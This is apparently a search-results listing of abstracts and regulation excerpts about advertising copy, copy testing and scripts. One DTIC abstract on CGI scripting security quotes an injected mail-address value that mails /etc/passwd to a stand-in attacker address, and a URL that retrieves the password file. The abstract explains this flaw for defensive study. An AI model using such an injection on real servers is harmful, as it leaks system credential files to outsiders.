Sample records for scripts advertising copy

  1. Drama as Arts-Based Pedagogy and Research: Media Advertising and Inner-City Youth.

    ERIC Educational Resources Information Center

    Conrad, Diane

    2002-01-01

    A media unit for inner city high school students examined the relationship between youth and advertising by using drama as the medium through which learning and research occurred. Data were presented through scripted dramatic scenes. How the interpretation and generation of data were embedded in the process of writing these scripts is explained.…

  2. Readability as a Factor in Magazine Ad Copy Recall.

    ERIC Educational Resources Information Center

    Wesson, David A.

    1989-01-01

    Examines the relationship between advertising copy readability and advertising effectiveness. Finds that recall is improved when the copy style is either fairly easy or fairly hard to read. Suggests the value of considering copy readability as a potential contributor, though a minor one, to the success of magazine advertising. (RS)

  3. 21 CFR 807.31 - Additional listing information.

    Code of Federal Regulations, 2010 CFR

    2010-04-01

    ..., and for good cause, a copy of all advertisements for a particular device. A request for all... operator shall maintain a historical file containing the labeling and advertisements in use on the date of... all labeling for the device; (2) For each restricted device, a copy of all labeling and advertisements...

  4. [Script crossing in scanning electron microscopy].

    PubMed

    Oehmichen, M; von Kortzfleisch, D; Hegner, B

    1989-01-01

    A case of mixed script in which ball point-pen ink was contaminated with typewriting prompted a survey of the literature and a systematic SEM study of mixed script with various writing instruments or inks. Mixed scripts produced with the following instruments or inks were investigated: pencil, ink/India ink, ball-pint pen, felt-tip pen, copied script and typewriter. This investigation showed SEM to be the method of choice for visualizing overlying scripts produced by different writing instruments or inks.

  5. An Assessment of the Cloze Procedure as an Advertising Copy Test.

    ERIC Educational Resources Information Center

    Zinkhan, George; Blair, Edward

    1984-01-01

    Discusses the effectiveness and reliability of the cloze procedure and its usefulness as an advertising copy-testing technique. Concludes that it can distinguish more memorable from less memorable messages. (FL)

  6. Advertising for the 80's. Marketing and Distributive Education. Advertising. Instructor's Guide.

    ERIC Educational Resources Information Center

    Ault, Craig; Elias, John

    This module contains a teacher's guide, student materials for a seminar on "advertising for the 80's" conducted for small business representatives, a 35mm slide presentation, and an audiocassette. The instructor guide contains an outline of the course, time plan, end-of-course critique, a script for the slide-tape presentation (with content on the…

  7. 48 CFR 5.503 - Procedures.

    Code of Federal Regulations, 2010 CFR

    2010-10-01

    ... advertisements may be placed directly with the media or through an advertising agency. Contracting officers shall... advertising. Every invoice for advertising shall be accompanied by a copy of the advertisement or an affidavit of publication furnished by the publisher, radio or television station, or advertising agency...

  8. 48 CFR 5.503 - Procedures.

    Code of Federal Regulations, 2011 CFR

    2011-10-01

    ... advertisements may be placed directly with the media or through an advertising agency. Contracting officers shall give small, small disadvantaged, women-owned, veteran-owned, HUBZone, and service-disabled veteran... advertising. Every invoice for advertising shall be accompanied by a copy of the advertisement or an affidavit...

  9. 76 FR 22903 - Draft Guidance for Industry and Food and Drug Administration Staff; Establishing That a Tobacco...

    Federal Register 2010, 2011, 2012, 2013, 2014

    2011-04-25

    ... things, dated copies of advertisements, dated catalog pages, and dated promotional material. II. Significance of Guidance This draft guidance is being issued consistent with FDA's good guidance practices... manufacturer provide evidence that may include, among other things, dated copies of advertisements, dated...

  10. Advertising Research: The State of the Art.

    ERIC Educational Resources Information Center

    Ramond, Charles

    This book summarizes and appraises current knowledge and practice in the field of advertising research. The material is presented under the following chapter headings: aim and scope, how advertising communicates, how advertising sells, theme research, selecting target audiences, copy research, studies of advertising frequency, media research,…

  11. 17 CFR 230.497 - Filing of investment company prospectuses-number of copies.

    Code of Federal Regulations, 2010 CFR

    2010-04-01

    ... effectiveness in connection with a public offering or sales, ten copies of every form of prospectus and... 1934 (15 U.S.C. 78o) that has adopted rules providing standards for the investment company advertising practices of its members and has established and implemented procedures to review that advertising. (j) In...

  12. 7 CFR 1944.671 - Equal opportunity requirements and outreach efforts.

    Code of Federal Regulations, 2010 CFR

    2010-01-01

    ...) Copies of any other advertising or other printed material, including the application form used. The... advertising in local newspapers, and through other media. Any advertising must reach the entire service area...

  13. 17 CFR 232.11 - Definition of terms used in part 232.

    Code of Federal Regulations, 2010 CFR

    2010-04-01

    ..., PDF, and static graphic files. Such code may be in binary (machine language) or in script form... Act means the Trust Indenture Act of 1939. Unofficial PDF copy. The term unofficial PDF copy means an...

  14. Adolescence, Advertising, and the Ideology of Menstruation.

    ERIC Educational Resources Information Center

    Merskin, Debra

    1999-01-01

    Conducted a content analysis of 10 years of feminine hygiene advertisements in "Seventeen" and "Teen" magazines. Finds that advertising copy in these magazines works to dispel myths about menstruation but that few black models are shown. Discusses advertising as an element of socialization for adolescent girls. (SLD)

  15. A Survey of Advertising Awareness and Enlistment Planning by Recent Enlistees in the Armed Services

    DTIC Science & Technology

    of recent advertising and recruiting, planning patterns of enlistees, and possible advertising strategies . (Author)...A sample of recent enlistees for all the services was interviewed at four AFEES centers. Questions were asked about awareness of advertising and the...planning for their recent enlistment decision. Advertising awareness included specific copy point recall, slogan identification, believability of

  16. Italian Sixteenth-Century Italian Writing Books and the Scribal Reality in Verona.

    ERIC Educational Resources Information Center

    Clement, Richard W.

    1986-01-01

    Uses evidence of common writings found in the Rosenthal Collection of North Italian Documents at the University of Chicago to determine that the type of hand written script most popular in sixteenth century Verona was not the "cancellaresca" found in most copy books, but rather the italic and mercantilist scripts. (SKC)

  17. AlleleCoder: a PERL script for coding codominant polymorphism data for PCA analysis

    USDA-ARS?s Scientific Manuscript database

    A useful biological interpretation of diploid heterozygotes is in terms of the dose of the common allele (0, 1 or 2 copies). We have developed a PERL script that converts FASTA files into coded spreadsheets suitable for Principal Component Analysis (PCA). In combination with R and R Commander, two- ...

  18. Marginalised Behaviour: Digital Annotations, Spatial Encoding and the Implications for Reading Comprehension

    ERIC Educational Resources Information Center

    Johnson, Martin; Nadas, Rita

    2009-01-01

    Within large scale educational assessment agencies in the UK, there has been a shift towards assessors marking digitally scanned copies rather than the original paper scripts that were traditionally used. This project uses extended essay examination scripts to consider whether the mode in which an essay is read potentially influences the…

  19. 78 FR 49724 - Notice To Reopen Comment Period for Federal Crop Insurance Program Delivery Cost Survey and...

    Federal Register 2010, 2011, 2012, 2013, 2014

    2013-08-15

    ... insurance program. Copies of the AIP interview scripts and survey questions may be obtained by contacting... Comment Period for Federal Crop Insurance Program Delivery Cost Survey and Interviews ACTION: Notice to reopen comment period to request comments on the script for interviews of Approved Insurance Providers...

  20. 78 FR 21160 - Paperwork Reduction Act; 30-Day Notice

    Federal Register 2010, 2011, 2012, 2013, 2014

    2013-04-09

    ... concepts (OMB 3201-0011), pre-broadcast quantitative (or ``copy'') testing of developed advertising (OMB... Research--Focus groups; OMB 3201-0006--Copy testing--15-minute online interviews; OMB 3201-0010--Tracking...--Qualitative Research--Quarterly; OMB 3201-0006--Copy testing--Quarterly; OMB 3201-0010--Tracking Study...

  1. Advertising the American Woman.

    ERIC Educational Resources Information Center

    Dispenza, Joseph E.

    This illustrated anthology of advertising in the popular press attempts to clarify the manner in which consumers have been conditioned to think about the roles of women in society. More than 2,000 copies of periodicals dating from 1900 to the present were consulted for the cultural information in their advertising. The selection of certain ads…

  2. You've Come a Long Way, Baby--Or Have You? Women's Magazines, Cigarette Advertisements, Health Articles and Editorial Autonomy.

    ERIC Educational Resources Information Center

    Hesterman, Vicki

    A study examined how three major women's magazines handled cigarette advertisements and editorial copy about smoking-related health problems. Examined were issues of "Ms.,""Good Housekeeping," and "Seventeen" magazines from 1972, one year after the ban on television advertisements and the year "Ms." began…

  3. A Q Study of Typographic Elements in Print Advertising.

    ERIC Educational Resources Information Center

    Ernst, Sandra; Kahle, Roger

    Fifty-two subjects participated in a study of attitudes toward typographic treatment in print advertising. Twenty variations of a basic ad layout, based on nine typographic variables (five for display type and four for body copy), were developed to reflect current trends in fashionable/conservative advertising typography. The subjects sorted the…

  4. 78 FR 40156 - Agency Information Collection Activities; Proposed Collection; Comment Request; Copy Testing of...

    Federal Register 2010, 2011, 2012, 2013, 2014

    2013-07-03

    ... effectiveness and unintended consequences of advertisements designed to target general market youth ages 12-17... effectiveness and unintended consequences of advertisements designed to target general market youth ages 12-17... consequences of advertisements designed to target general market youth ages 12-15 who reside in rural areas...

  5. The Advertiser and the Audience: A New Look at the Source and Receiver.

    ERIC Educational Resources Information Center

    Shipley, Linda J.

    In many advertising programs, students spend a great deal of time coming up with creative strategies, writing copy, and preparing layouts based on objectives provided by a client (or professor) and directed to an already established target market. Seldom, however, do students learn firsthand about the advertising decision making on the part of…

  6. 29 CFR 779.107 - Goods defined.

    Code of Federal Regulations, 2010 CFR

    2010-07-01

    ...; advertising, motion pictures, newspaper and radio copy; art work and manuscripts for publication; sample books, letterheads, envelopes, shipping tags, labels, checkbooks, blankbooks, book covers, advertising circulars, and... written materials such as newspapers, magazines, brochures, pamphlets, bulletins, and announcements...

  7. Advertising content in physical activity print materials.

    PubMed

    Cardinal, Bradley J

    2002-01-01

    Copies of 80 sets of print materials available free of charge to the general public were analyzed to determine the relationship between the developer and advertising-related material. Almost all of the materials had some form of advertising content. Materials from commercial product vendors were most likely to have product logos, references to specific brands, and had the greatest number of logos, and the greatest number of references to specific brands. They were the second most likely to have advertising slogans, and had the second greatest number of advertising slogans.

  8. Pop Goes the Poster! Tips for Effective Poster Design.

    ERIC Educational Resources Information Center

    Helmken, Charles M.

    1979-01-01

    Posters' power in academic advertising to persuade and inform is successful when message and graphics are combined. Design principles and techniques are identified: symbolism, symbiosis, substitution, sequence, scale, silhouette, script, spectrum, and simplicity. Designers should avoid: typographic fog, color confusion, excessive elements, and…

  9. Agency Researchers' Perception of the Users and Uses of Copy Research.

    ERIC Educational Resources Information Center

    Reid, Leonard N.; Salmon, Charles T.

    A survey of 30 advertising agency researchers sought to determine (1) whether there are differences between agency researchers' perception of who benefits most from copy research and who should benefit most, and (2) whether there are differences between their perception of how copy research is used and how it should be used. Consistent with…

  10. 27 CFR 4.38 - General requirements.

    Code of Federal Regulations, 2010 CFR

    2010-04-01

    ... mandatory information required on labels by this part, except the alcoholic content statement, shall be in... OF THE TREASURY LIQUORS LABELING AND ADVERTISING OF WINE Labeling Requirements for Wine § 4.38... descriptive or explanatory information, the script, type, or printing of the mandatory information shall be of...

  11. 48 CFR 1352.235-73 - Research involving human subjects-after initial contract award.

    Code of Federal Regulations, 2012 CFR

    2012-10-01

    ... the United States Department of Health and Human Services' Office for Human Research Protections... documentation may include: (1) Copies of the human subjects research protocol, advertisements, recruitment... human subjects research protocol, advertisements, recruitment material, and informed consent forms by...

  12. Inquiry Response Security Issues with CGI Scripting and JAVA Implementations

    DTIC Science & Technology

    1998-03-26

    that looks like this? nobody@nowhere.com;mail badguys@hell.orgc/etc/ passwd ; Now the open0 statement will evaluate the following command: /usr/lib...sendmail nobody@nowhere.com; mail badguys@hell.orgdetc/ passwd Unintentionally, open0 has mailed the contents of the system password file to the remote...functions outside of the script. For example, the following URL requests a copy of /etc/ passwd from the server machine: http://www.odci.gov/cgi-bin

  13. Media Use Patterns of Young Men: Findings from the Youth Attitude Tracking Study 2

    DTIC Science & Technology

    1990-08-01

    advertising avenue for the Military. To use the media most effectively , however, requires knowledge of the attitudes and practices of youths regarding...OPP~ FILE COPY DEFENSE -MANPOWER DATA CENTER MEDIA USE PATTERNS OF YOUNG MEN FINDINGS FROM THE YOUTH ATTITUDE TRACKING STUDY If Market Research...cost- effective military advertising. Understanding media use patterns will provide information to aid in understanding how to target advertising

  14. 7 CFR 1901.204 - Compliance reviews.

    Code of Federal Regulations, 2010 CFR

    2010-01-01

    ... Housing Project. (ii) The borrower's method of advertising the facility to the public, if there is any advertising, including how well these methods reach the minority community. (iii) Any records of request for... Director will immediately send a copy of the compliance review report to the Administrator, Attention...

  15. Translation and Advertising: Going Global. Debate.

    ERIC Educational Resources Information Center

    Seguinot, Candace; And Others

    1994-01-01

    Discusses the identity-forming power of translation in advertising copy. In the marketing of goods and services across cultural boundaries, an understanding of culture and semiotics that goes well beyond both language and design is involved. Translators must understand marketing, the legal jurisdictions of their market, how cultural differences…

  16. Writing for Radio.

    ERIC Educational Resources Information Center

    Tupper, Marianna S.

    1995-01-01

    Describes a 24-hour commercial radio station simulation class project for eighth-grade language arts. Students wrote their own scripts, chose music and were disc jockeys on their own music and talk shows, and prepared news and traffic reports. Guest speakers from actual commercial radio came in to discuss issues such as advertising, censorship,…

  17. Are Television Commercials Still Achievement Scripts for Women?

    ERIC Educational Resources Information Center

    Yoder, Janice D.; Christopher, Jessica; Holmes, Jeffrey D.

    2008-01-01

    Content analyses of television advertising document the ubiquity of traditional images of women, yet few studies have explored their impact. One noteworthy exception is the experiment by Geis, Brown, Jennings, and Porter (1984). These researchers found that the achievement aspirations of controls and women exposed to traditional images were lower…

  18. 21 CFR 807.31 - Additional listing information.

    Code of Federal Regulations, 2011 CFR

    2011-04-01

    ....31 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN SERVICES (CONTINUED... operator shall maintain a historical file containing the labeling and advertisements in use on the date of... all labeling for the device; (2) For each restricted device, a copy of all labeling and advertisements...

  19. 21 CFR 807.26 - Additional listing information.

    Code of Federal Regulations, 2013 CFR

    2013-04-01

    ....26 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN SERVICES (CONTINUED... operator shall maintain a historical file containing the labeling and advertisements in use on the date of... all labeling for the device; (2) For each restricted device, a copy of all labeling and advertisements...

  20. 21 CFR 807.26 - Additional listing information.

    Code of Federal Regulations, 2014 CFR

    2014-04-01

    ....26 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN SERVICES (CONTINUED... operator shall maintain a historical file containing the labeling and advertisements in use on the date of... all labeling for the device; (2) For each restricted device, a copy of all labeling and advertisements...

  1. 21 CFR 807.31 - Additional listing information.

    Code of Federal Regulations, 2012 CFR

    2012-04-01

    ....31 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN SERVICES (CONTINUED... operator shall maintain a historical file containing the labeling and advertisements in use on the date of... all labeling for the device; (2) For each restricted device, a copy of all labeling and advertisements...

  2. 77 FR 52076 - Proposed Collection; Comment Request

    Federal Register 2010, 2011, 2012, 2013, 2014

    2012-08-28

    ... information to the Office of Management and Budget (``OMB'') for extension and approval. Rule 23c-3 (17 CFR... portfolio and change the liquidity procedures as necessary. The fund also must file copies of advertisements... by the Commission. The requirement that the fund file advertisements and sales literature as if it...

  3. 75 FR 4883 - Submission for OMB Review; Comment Request

    Federal Register 2010, 2011, 2012, 2013, 2014

    2010-01-29

    ... Management and Budget a request for extension of the previously approved collection of information discussed.... The fund also must file copies of advertisements and other sales literature with the Commission as if... the fund file advertisements and sales literature as if it were an open-end investment company is...

  4. Automotive advertising copy test. Final report

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Not Available

    In order to better understand consumer perceptions and use of the mileage estimates as presented in print advertising, the Department of Energy, in conjunction with the Federal Trade Commission and the EPA, initiated a research project. Purpose was to: measure recall/recognition of EPA Estimated MPG/highway mileage estimates in print ads; determine consumer expectations and believability of advertised mileage guidelines; measure recall/comprehension of mileage disclaimers; and determine how consumers utilize published mileage estimates.

  5. How Television Fast Food Marketing Aimed at Children Compares with Adult Advertisements

    PubMed Central

    Bernhardt, Amy M.; Wilking, Cara; Adachi-Mejia, Anna M.; Bergamini, Elaina; Marijnissen, Jill; Sargent, James D.

    2013-01-01

    Objectives Quick service restaurant (QSR) television advertisements for children’s meals were compared with adult advertisements from the same companies to assess whether self-regulatory pledges for food advertisements to children had been implemented. Methods All nationally televised advertisements for the top 25 US QSR restaurants from July 1, 2009 to June 30, 2010 were obtained and viewed to identify those advertising meals for children and these advertisements were compared with adult advertisements from the same companies. Content coding included visual and audio assessment of branding, toy premiums, movie tie-ins, and depictions of food. For image size comparisons, the diagonal length of the advertisement was compared with the diagonal length of salient food and drink images. Results Almost all of the 92 QSR children’s meal advertisements that aired during the study period were attributable to McDonald’s (70%) or Burger King (29%); 79% of 25,000 television placements aired on just four channels (Cartoon Network, Nickelodeon, Disney XD, and Nicktoons). Visual branding was more common in children’s advertisements vs. adult advertisements, with food packaging present in 88% vs. 23%, and street view of the QSR restaurant present in 41% vs. 12%. Toy premiums or giveaways were present in 69% vs. 1%, and movie tie-ins present in 55% vs. 14% of children’s vs. adult advertisements. Median food image diagonal length was 20% of the advertisement diagonal for children’s and 45% for adult advertisements. The audio script for children’s advertisements emphasized giveaways and movie tie-ins whereas adult advertisements emphasized food taste, price and portion size. Conclusions Children’s QSR advertisements emphasized toy giveaways and movie tie-ins rather than food products. Self-regulatory pledges to focus on actual food products instead of toy premiums were not supported by this analysis. PMID:24015250

  6. How television fast food marketing aimed at children compares with adult advertisements.

    PubMed

    Bernhardt, Amy M; Wilking, Cara; Adachi-Mejia, Anna M; Bergamini, Elaina; Marijnissen, Jill; Sargent, James D

    2013-01-01

    Quick service restaurant (QSR) television advertisements for children's meals were compared with adult advertisements from the same companies to assess whether self-regulatory pledges for food advertisements to children had been implemented. All nationally televised advertisements for the top 25 US QSR restaurants from July 1, 2009 to June 30, 2010 were obtained and viewed to identify those advertising meals for children and these advertisements were compared with adult advertisements from the same companies. Content coding included visual and audio assessment of branding, toy premiums, movie tie-ins, and depictions of food. For image size comparisons, the diagonal length of the advertisement was compared with the diagonal length of salient food and drink images. Almost all of the 92 QSR children's meal advertisements that aired during the study period were attributable to McDonald's (70%) or Burger King (29%); 79% of 25,000 television placements aired on just four channels (Cartoon Network, Nickelodeon, Disney XD, and Nicktoons). Visual branding was more common in children's advertisements vs. adult advertisements, with food packaging present in 88% vs. 23%, and street view of the QSR restaurant present in 41% vs. 12%. Toy premiums or giveaways were present in 69% vs. 1%, and movie tie-ins present in 55% vs. 14% of children's vs. adult advertisements. Median food image diagonal length was 20% of the advertisement diagonal for children's and 45% for adult advertisements. The audio script for children's advertisements emphasized giveaways and movie tie-ins whereas adult advertisements emphasized food taste, price and portion size. Children's QSR advertisements emphasized toy giveaways and movie tie-ins rather than food products. Self-regulatory pledges to focus on actual food products instead of toy premiums were not supported by this analysis.

  7. "The Love Games People Play" Survey: Using Research Methods to Examine Gendered Scripts and Stereotypes

    ERIC Educational Resources Information Center

    Lucas, Kristen

    2011-01-01

    Every day people are bombarded with information about romantic relationships. Magazine articles offer how-to advice on flirting, dating, and fixing relationship problems. Advertisements--from billboards to radio commercials to email marketing campaigns--feature products that promise to help people attract a special someone. Television and movie…

  8. 30 CFR 778.21 - Proof of publication.

    Code of Federal Regulations, 2013 CFR

    2013-07-01

    ... 30 Mineral Resources 3 2013-07-01 2013-07-01 false Proof of publication. 778.21 Section 778.21....21 Proof of publication. A copy of the newspaper advertisements of the application for a permit, significant revision of a permit, or renewal of a permit, or proof of publication of the advertisements which...

  9. Automotive advertising copy test. Final report. [Mileage estimates

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Not Available

    The purpose of this research project was to explore the following issues: (1) mileage recall/recognition of miles per gallon/highway mileage estimates in print ads by advertisement readers; (2) determine consumer expectations and believability of advertised mileage guidelines; (3) measure recall/comprehension of mileage disclaimers; and (4) determine how consumers utilize published mileage estimates. The evidence from this study points to a public which is quite familiar with the EPA mileage estimates, in terms of using them as guidelines and in finding them to be helpful. Most adults also appear to be knowledgeable about factors which can affect car performance and, therefore,more » anticipate that, within certain tolerances, their actual mileage will differ from the EPA estimates. Although the consumer has been educated regarding fuel estimates, there is a very strong suggestion from this research that typical automobile print advertising does a less than an effective job in generating awareness of specific EPA estimates as well as their attendant disclaimer. Copy strategy and execution have a critical impact on recall of the EPA mileage estimates. 18 tables.« less

  10. Prescription drug advertising trends: a study of oral hypoglycemics.

    PubMed

    Mehta, K K; Sorofman, B A; Rowland, C R

    1989-01-01

    A content analysis of oral hypoglycemic drug advertisements was performed in selected medical journals published in the United States from 1963 to 1986. The 665 advertisements subsequently examined were studied for certain predetermined parameters in order to indicate trends. The trend results may be summarized as follows. As an extension of prescription drug advertising trends in general, oral hypoglycemic drug advertising showed an increasing length along with a subsequent decrease in the amount of space devoted to the copy portion of the advertisement. They also showed a decrease in the use of statistical information and rarely made references to competitors. Nongender specific, colored advertisements with product and use related appeals have become more common with the passage of time. Although the rationale and purpose behind advertising is unchanged, the format has changed considerably. These changes are primarily due to the enhancement of print technology and to some extent, the changing social environment.

  11. Overcoming Fear and Loathing in Advertising Copywriting Courses.

    ERIC Educational Resources Information Center

    Pearce, R. Charles

    Writing techniques espoused by Peter Elbow, applied to the teaching of writing in advertising copywriting classes can help students develop into better writers, generating better copy ideas. The shift of focus from writing a finished piece the first time to concentrating on the process of writing allows for a freer flow of ideas and creativity.…

  12. --No Title--

    Science.gov Websites

    ("DOE"). The user is granted the right, without any fee or cost, to use, copy, modify, alter all copies of the data. Further, the user of this data agrees to credit NREL in any publications or following obligations on the User. The names DOE/NREL may not be used in any advertising or publicity to

  13. Youth Attitude Tracking Study. Volume 2. Fall 1976.

    DTIC Science & Technology

    1976-01-01

    Advertising Copy Identification.......... . .......... ..... 15 Target Market Profile of :Reserve Components....... i5 Target Market Profile of Active...in the Tracking Areas to test such factors as -promotional materials, recruiting practices, and advertising strategy . A special feature included in the...8217 .. :~ . .’..;- .":, ,:,,.", . ’ .. €,. . . - .. " . " :" . . ". " . . .." ,"- .-- :-,, ". . ’ . -.-- . .: ’.-. :. -I MARKET FACTS " I age 15

  14. Copyfitting Instructor: A Computer-Assisted Instructional Aid for the Dirtiest Job in Advertising Design and Production Courses.

    ERIC Educational Resources Information Center

    Wesson, David A.

    Copyfitting is probably the least exciting portion of any course that deals with design and production of print advertising. Students find the transformation of manuscript copy into set type difficult to visualize. The math, though no more than multiplication and division, seems insurmountable to some--probably because the entities such as points,…

  15. 39 CFR 963.3 - Petition; notice of hearing; answer; filing and copies of documents; summary judgment.

    Code of Federal Regulations, 2010 CFR

    2010-07-01

    ... 39 Postal Service 1 2010-07-01 2010-07-01 false Petition; notice of hearing; answer; filing and copies of documents; summary judgment. 963.3 Section 963.3 Postal Service UNITED STATES POSTAL SERVICE PROCEDURES RULES OF PRACTICE IN PROCEEDINGS RELATIVE TO VIOLATIONS OF THE PANDERING ADVERTISEMENTS STATUTE...

  16. Persuading on Paper: The Complete Guide to Writing Copy That Pulls in Business.

    ERIC Educational Resources Information Center

    Yudkin, Marcia

    Noting that entrepreneurs know that marketing can make or break a business and that outreach requires effective written materials, this guide argues that anyone can learn to write effective copy. The guide demonstrates how to write effective sales letters and advertisements and persuasive press releases. It takes readers step-by-step through the…

  17. 9. Photographic copy of photograph (circa 1908, original print in ...

    Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

    9. Photographic copy of photograph (circa 1908, original print in Archives, Public Affairs Department, Sears Merchandise Group, Hoffman Estates, Illinois), Photographer unknown. OVERALL VIEW OF PRINTING AND ADVERTISING BUILDING, ADMINISTRATION BUILDING, AND MERCHANDISE BUILDING, VIEW TO WEST-SOUTHWEST - Sears Roebuck & Company Mail Order Plant, Bounded by Lexington & Grenshaw Streets, Kedzie Avenue & Independence Boulevard, Chicago, Cook County, IL

  18. nevada_50mwind

    Science.gov Websites

    of Energy ("DOE"). The user is granted the right, without any fee or cost, to use, copy notice appears in all copies of the data. Further, the user of this data agrees to credit NREL in any impose the following obligations on the User. The names DOE/NREL may not be used in any advertising or

  19. Documenting life: a new campaign style is ready for its close-up in healthcare.

    PubMed

    McLaughlin, Kandace

    2007-01-01

    Documentary-style filming is a cost-effective way to develop an advertising campaign. This unique style of filming includes documenting the day-to-day life of a healthcare facility and then using the footage for multiple campaign elements. With no script to work with, the footage and responses are real and the outcome is rewarding.

  20. 12. Photographic copy of photograph (circa 1920's, original print in ...

    Library of Congress Historic Buildings Survey, Historic Engineering Record, Historic Landscapes Survey

    12. Photographic copy of photograph (circa 1920's, original print in Archives, Public Affairs Department, Sears Merchandise Group, Hoffman Estates, Illinois), Photographer unknown. OVERALL VIEW OF PRINTING AND ADVERTISING BUILDING, ADMINISTRATION BUILDING, AND MERCHANDISE BUILDING, VIEW TO SOUTHEAST - Sears Roebuck & Company Mail Order Plant, Bounded by Lexington & Grenshaw Streets, Kedzie Avenue & Independence Boulevard, Chicago, Cook County, IL

  1. 29 CFR 793.7 - “Announcer.”

    Code of Federal Regulations, 2011 CFR

    2011-07-01

    ... introduce programs, read news announcements, present commercial messages, give station identification and..., or write advertising, promotional or similar type copy. An employee who is primarily engaged in the...

  2. See Also:Mechanics of Cohesive-frictional MaterialsCopyright © 2004 John Wiley & Sons, Ltd.Get Sample Copy

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  1. Phylogenetic marker development for target enrichment from transcriptome and genome skim data: the pipeline and its application in southern African Oxalis (Oxalidaceae)

    Treesearch

    Roswitha Schmickl; Aaron Liston; Vojtěch Zeisek; Kenneth Oberlander; Kevin Weitemier; Shannon C. K. Straub; Richard C. Cronn; Léanne L. Dreyer; Jan Suda

    2016-01-01

    Phylogenetics benefits from using a large number of putatively independent nuclear loci and their combination with other sources of information, such as the plastid and mitochondrial genomes. To facilitate the selection of orthologous low-copy nuclear (LCN) loci for phylogenetics in nonmodel organisms, we created an automated and interactive script to select hundreds...

  2. A film about teenage pregnancy.

    PubMed

    Smith, S

    1989-01-01

    "Consequences," a film on teenage pregnancy, was made in Africa with support from the Pathfinder Fund, an American foundation, International Planned Parenthood Federation, and the Ford foundation. Its messages are the repercussions of pregnancy, the use of contraception (especially condoms, as they help to stop the transmission of the acquired immunodeficiency syndrome), and the need for teenagers to communicate with their parents. The abortion issue was handled by making the points that it is illegal and dangerous. Harriet Masembe, a Ugandan folk lorist helped develop the story line. A Zimbabwean, Olley Mauma, wrote the dialogue and directed the film. Segun Oyekunle, a Nigerian script writer, commented on the draft script. The story is that Rita, a 16- year-old African is bright and has a steady boy friend. She will soon graduate from high school and go on to university. Then she discovers her pregnancy. Her relationship with Richard, her boy friend, breaks down. Her school performance deteriorates. Both Rita and Rick get expelled from school. Rita is sent to her mother's village to have a child. She finds this is very hard, and includes a lot of responsibility. She comes home a year later, but finds it difficult to relate to her friends. The boy friend suddenly returns home, too. At the end of the 54-minute film, we are left wondering what will happen to Rita and Richard. The film was pretested with 250 teenagers in Kenya, Nigeria, and Zimbabwe, and others in London and the US. The script was translated into French, Shona, and Sindebele. A Swahili version is being made. The film is being placed with nongovernmental organizations and their agencies. There has been much publicity and the film has won 2 international awards. Parts of the film were shown on German television. Distribution began in May, 1988. Since then some 300 copies and 600 videos have been sent out. There is a copy in each of the 45 agencies affiliated with International Planned Parenthood Federation in Africa. Videos were distributed in October, 1988 to 40 national television networks throughout Africa. Copies of the video are being placed in lending libraries. It is expected that 20,000,000 Africans will see "Consequences."

  3. Desktop Publishing: Its Impact on Community College Journalism.

    ERIC Educational Resources Information Center

    Grzywacz-Gray, John; And Others

    1987-01-01

    Illustrates the kinds of copy that can be created on Apple Macintosh computers and laser printers. Shows font and type specification options. Discusses desktop publishing costs, potential problems, and computer compatibility. Considers the use of computers in college journalism in production, graphics, accounting, advertising, and promotion. (AYC)

  4. 21 CFR 807.21 - How to register establishments and list devices.

    Code of Federal Regulations, 2014 CFR

    2014-04-01

    .... 807.21 Section 807.21 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN... Devices and Radiological Health, Food and Drug Administration, 10903 New Hampshire Ave., Bldg. 66, rm... postal mail. (d) When additional device listing information (e.g., copies of labeling or advertisements...

  5. 21 CFR 807.21 - How to register establishments and list devices.

    Code of Federal Regulations, 2013 CFR

    2013-04-01

    .... 807.21 Section 807.21 Food and Drugs FOOD AND DRUG ADMINISTRATION, DEPARTMENT OF HEALTH AND HUMAN... Devices and Radiological Health, Food and Drug Administration, 10903 New Hampshire Ave., Bldg. 66, rm... postal mail. (d) When additional device listing information (e.g., copies of labeling or advertisements...

  6. Yearbook Production, English, Journalism: 5116.153.

    ERIC Educational Resources Information Center

    Miller, Alfreda R.

    An authorized course of instruction for the Quinmester Program in Dade County (Florida) public schools is given for yearbook production. This advanced class is for staff who assign and supervise all photography, write and edit all copy, sell advertising and subscriptions, and handle the publication finances. Specific teaching strategies are given…

  7. 17 CFR 275.204-2 - Books and records to be maintained by investment advisers.

    Code of Federal Regulations, 2010 CFR

    2010-04-01

    .... (7) Originals of all written communications received and copies of all written communications sent by... similar communications of general public distribution not prepared by or for the investment adviser, and..., advertisement, newspaper article, investment letter, bulletin or other communication that the investment adviser...

  8. Translations on USSR Military Affairs, Number 1374

    DTIC Science & Technology

    1978-09-05

    film sequence, the viewer is supposed to note these mistakes and inform the studio how one should proceed correctly in the specific situation. ’This...enthusiastically to the quiz program. The studio received more than 5,000 letters. The panel of judges, headed by the chief of Lithuanian SSR Civil Defense...scripts or broadcast texts which are literally copied from instructions and textbooks. Rayon, city and enterprise radio studios do much to promote

  9. VizieR Online Data Catalog: Planetary atmosphere radiative transport code (Garcia Munoz+ 2015)

    NASA Astrophysics Data System (ADS)

    Garcia Munoz, A.; Mills, F. P.

    2014-08-01

    Files are: * readme.txt * Input files: INPUThazeL.txt, INPUTL13.txt, INPUT_L60.txt; they contain explanations to the input parameters. Copy INPUT_XXXX.txt into INPUT.dat to execute some of the examples described in the reference. * Files with scattering matrix properties: phFhazeL.txt, phFL13.txt, phF_L60.txt * Script for compilation in GFortran (myscript) (10 data files).

  10. Research on copying system of dynamic multiplex holographic stereograms

    NASA Astrophysics Data System (ADS)

    Fu, Huaiping; Yang, Hong; Zheng, Tong

    2003-05-01

